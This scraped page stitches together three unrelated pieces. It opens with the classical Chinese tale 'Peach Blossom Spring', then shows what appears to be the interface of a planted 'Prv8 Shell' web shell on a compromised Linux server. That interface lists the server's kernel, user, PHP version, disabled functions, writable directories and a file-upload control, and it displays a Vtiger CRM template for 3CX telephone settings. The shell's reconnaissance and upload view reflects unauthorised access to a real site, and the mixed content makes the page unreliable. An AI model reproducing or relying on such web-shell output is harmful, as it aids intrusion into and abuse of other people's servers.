晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/akaindir/public_html/crm/layouts/v7/modules/ParsVT/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //home/akaindir/public_html/crm/layouts/v7/modules/ParsVT/3CX.tpl
<div class="col-lg-12 col-md-12 col-sm-12 col-xs-12" style="margin-top:0px;">
    <h4>{vtranslate('3CX Settings', $QUALIFIED_MODULE)}</h4>
    <hr>
</div>
<div class="col-lg-12" style="margin-top: 10px">
    {if $PBXMANAGER}
                <table class="table table-bordered blockContainer showInlineTable equalSplit">
                    <thead>
                    <tr class>
                        <th class="" colspan="4">{vtranslate('Manual', $MODULE)}</th>
                    </tr>
                    </thead>
                    <tbody>
                    <tr>
                        <td class="fieldLabel medium" style="width: 30%">
                            <label class="muted pull-right marginRight10px">{vtranslate('PBXManager', $MODULE)}</label>
                        </td>
                        <td  class="text-center">
                            <div>
                                <a href="https://cutt.ly/CyLe2nu" target="_blank">
                                    {vtranslate("Download PBXManager Module & Install or Update on VtigerCRM",$QUALIFIED_MODULE)}
                                </a>
                            </div>
                        </td>
                    </tr>
                    <tr>
                        <td class="fieldLabel medium" style="width: 30%">
                            <label class="muted pull-right marginRight10px">{vtranslate('3CX Integration', $MODULE)}</label>
                        </td>
                        <td  class="text-center">
                            <div>
                                <a href="https://cutt.ly/0yLxHxe" target="_blank">
                                    {vtranslate("Download 3CX CRM Integration & Install on 3CX Server",$QUALIFIED_MODULE)}
                                </a>
                            </div>
                        </td>
                    </tr>
                    <tr>
                        <td class="fieldLabel medium" style="width: 30%">
                            <label class="muted pull-right marginRight10px">{vtranslate('Need help', $MODULE)}</label>
                        </td>
                        <td  class="text-center">
                            <div>
                                <a href="http://vtfarsi.ir/vtigercrm-3cx-integration-manual/" target="_blank">
                                    {vtranslate("More Information",$QUALIFIED_MODULE)}
                                </a>
                            </div>
                        </td>
                    </tr>
                    </tbody>
                </table>


        <form id="MyModal" class="form-horizontal" action='index.php' method='POST'>
            <input type="hidden" name="module" value="ParsVT"/>
            <input type="hidden" name="action" value="SavePBX"/>
            <input type="hidden" name="parent" value="Settings"/>
            <input type="hidden" name="mode" value="Save3CX"/>
            <div class="blockData">
                <table class="table table-bordered blockContainer showInlineTable equalSplit">
                    <thead>
                    <tr class="active">
                        <th class="" colspan="4"><a href="http://vtfarsi.ir/vtigercrm-3cx-integration-manual/" target="_blank"><img src="layouts/v7/modules/ParsVT/images/helpinfo.png"></a> &nbsp;{vtranslate('3CX Settings', $MODULE)}</th>
                    </tr>
                    </thead>
                    <tbody>
                    {foreach item=FIELD_VALUE key=FIELD_NAME from=$FIELDS}
                        <tr {if $FIELD_NAME eq 'vtigersecretkey' or $FIELD_NAME eq 'webappurl'}class="hide" {/if}>
                            <td class="fieldLabel control-label" style="width:25%">
                                <label>{vtranslate($FIELD_NAME, $MODULE)}</label></td>
                            <td style="word-wrap:break-word;">
                                <input class="inputElement fieldValue"  style="direction: ltr; text-align: left; max-width: 300px" type="{$FIELD_VALUE[0]}"
                                       name="{$FIELD_NAME}" data-rule-required="true"  value="{if $FIELD_NAME eq 'vtigersecretkey'}{if !empty($FIELD_VALUE[1])}{$FIELD_VALUE[1]}{else}{PBXManager_Server_Model::generateVtigerSecretKey()}{/if}{elseif $FIELD_NAME eq 'webappurl'}{vglobal('site_URL')}modules/ParsVT/ws/API/V2/PBX/Simotel/{else}{$FIELD_VALUE[1]}{/if}"/>
                            </td>
                        </tr>
                    {/foreach}

                    <tr id="prefix">
                        <td class="fieldLabel control-label" style="width:25%">{vtranslate('Prefix Dial Number',$QUALIFIED_MODULE)}</td>
                        <td class="row-fluid medium">
                            <input class="inputElement fieldValue" style="direction: ltr; text-align: left; max-width: 300px" type="number" name="prefix" value="{$prefix}">
                        </td>
                    </tr>
                    <tr>
                        <td class="fieldLabel control-label"
                            style="width:25%">{vtranslate('Fix Phone Numbers',$QUALIFIED_MODULE)}</td>
                        <td class="row-fluid medium">
                            <select class="inputElement fieldValue select2" style="max-width: 300px" id="fixnumber"
                                    name="fixnumber">{$Listfixnumber}</select>
                        </td>
                    </tr>
                    <tr id="citycode">
                        <td class="fieldLabel control-label"
                            style="width:25%">{vtranslate('City Code',$QUALIFIED_MODULE)}</td>
                        <td class="row-fluid medium">
                            <input class="inputElement fieldValue"
                                   style="direction: ltr; text-align: left; max-width: 300px" type="number"
                                   name="citycode" value="{$citycode}" required>
                        </td>
                    </tr>
                    <tr id="countrycode">
                        <td class="fieldLabel control-label"
                            style="width:25%">{vtranslate('Country Code',$QUALIFIED_MODULE)}</td>
                        <td class="row-fluid medium">
                            <input class="inputElement fieldValue"
                                   style="direction: ltr; text-align: left; max-width: 300px" type="number"
                                   name="countrycode" value="{$countrycode}" required>
                        </td>
                    </tr>
                    <tr>
                        <td class="fieldLabel control-label"
                            style="width:25%">{vtranslate('3CX VtigerCRM URL',$QUALIFIED_MODULE)}</td>
                        <td class="row-fluid medium">
                            <input class="inputElement fieldValue"
                                   style="direction: ltr; text-align: left;" type="text"
                                   value="{rtrim(vglobal('site_URL'),"/")}" readonly>
                        </td>
                    </tr>
                    <tr>
                        <td class="fieldLabel control-label"
                            style="width:25%">{vtranslate('3CX VtigerCRM Username',$QUALIFIED_MODULE)}</td>
                        <td class="row-fluid medium">
                            <input class="inputElement fieldValue"
                                   style="direction: ltr; text-align: left;" type="text"
                                   value="{$CURRENT_USER_MODEL->get('user_name')}" readonly>
                        </td>
                    </tr>
                    <tr>
                        <td class="fieldLabel control-label"
                            style="width:25%">{vtranslate('3CX VtigerCRM Password',$QUALIFIED_MODULE)}</td>
                        <td class="row-fluid medium">
                            <input class="inputElement fieldValue"
                                   style="direction: ltr; text-align: left;" type="text"
                                   value="{$CURRENT_USER_MODEL->get('accesskey')}" readonly>
                        </td>
                    </tr>
                    </tbody>
                </table>
            </div>
            <div class="modal-overlay-footer clearfix">
                <div class="row clearfix">
                    <div class="textAlignCenter col-lg-12 col-md-12 col-sm-12">
                        <button type="submit"
                                class="btn btn-success saveButton">{vtranslate('LBL_SAVE', $MODULE)}</button>&nbsp;&nbsp;
                    </div>
                </div>
            </div>
        </form>
    {else}
        <div class="col-lg-12 col-md-12 col-sm-12 col-xs-12 ">
            <div class="contents">
                <div class="alert alert-danger"
                     style="text-align: center; margin: 20px 0;">{vtranslate('PBXManager is not active!',$MODULE)}</div>
            </div>
        </div>
    {/if}
</div>
<script>
    jQuery(document).ready(function (e) {
        Vtiger_Index_Js.getInstance().registerEvents();
        displayfixnumber();
        $('#fixnumber').change(function () {
            displayfixnumber();
        });

        function displayfixnumber() {
            if ($('#fixnumber').val() == 'Active') {
                $('#citycode').show();
                $('#countrycode').show();
            } else {
                $('#citycode').hide();
                $('#countrycode').hide();
            }
        }
    });
</script>

haha - 2025